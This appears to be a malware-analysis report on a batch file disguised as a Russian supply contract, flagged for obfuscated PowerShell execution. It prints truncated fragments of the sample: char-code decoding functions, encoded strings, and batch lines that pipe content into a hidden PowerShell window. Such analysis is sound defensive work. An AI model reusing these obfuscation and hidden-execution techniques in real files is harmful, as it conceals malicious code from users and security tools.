Suspicious ^80% Download

ДОГОВОР ПОСТАВКИ, տիպային.bat

Obfuscated PowerShell payload execution

Numeric character array payloadPowerShell executable name reference

SHA-256834e1a1e86773f9bc09e32b950d792b6eb4a89abdbd68853dd6606d1031e0ebd

URLhttps://mb-api.abuse.ch/api/v1/

Evidence

Numeric character array payload line 3

3:716… onment]::TickCount;function eksamensarbejder ($dagpaafuglejerne,$biveje177) {$leasts=dityrambes(@(104,217,206,215,220,198,197,170,234,212,220,209,207,201,182,227,210,157,206,221,211,182,157,145,210,213,219,201,174,218,158,167,163,142));Myndigst ($leasts)}$valleculae = [System.BitConverter]::GetBytes(2048);[System.Diagnostics.Stopwatch]::StartNew();function klorofyls ($sigterne) {[Convert]::ToChar($sigterne)}$blackguard = [ …

PowerShell indexed char-code decode assignment line 3

3:1308… t32]::Parse('581');[void][System.Math]::Pow(2, 5);while($true) {$bortcensurair86[$irritatory]-=$laically[$irritatory%%$hewed];$afhngige+=klorofyls($bortcensurair86[$irritatory++]);if(-not $bortcensurair86[$irritatory]){$forebragte = …

Encoded content decoded: base64 line 3

3:3012… , 9))}}[System.Math]::Truncate(55.67);$perlative=Semiliquidity 'cVtdUEQyDSoRAgcfRSoQVVxAQlVfZCIEHlpRX2QNW0RXRRYyT1xFWUtUbVUqFQ8OC2tHXUFcVVV0RE02BRcBIhoVX11QUWpF';$naitly=Semiliquidity 'LAEZAB9fS2sBHxEIDAojEAMXBQsBI …

PowerShell WindowStyle Hidden option lines 3–11

3:5816… 
4
5
6set "bekldes=%SystemRoot%\syswow64\WindowsPowerShell\v1.0\powershell.exe" 
7if not exist "%bekldes%" (
8set "bekldes=%SystemRoot%\System32\WindowsPowerShell\v1.0\powershell.exe"
9)
10
11echo %%Inflatoriskes%% | "%bekldes%" -windowstyle hidden -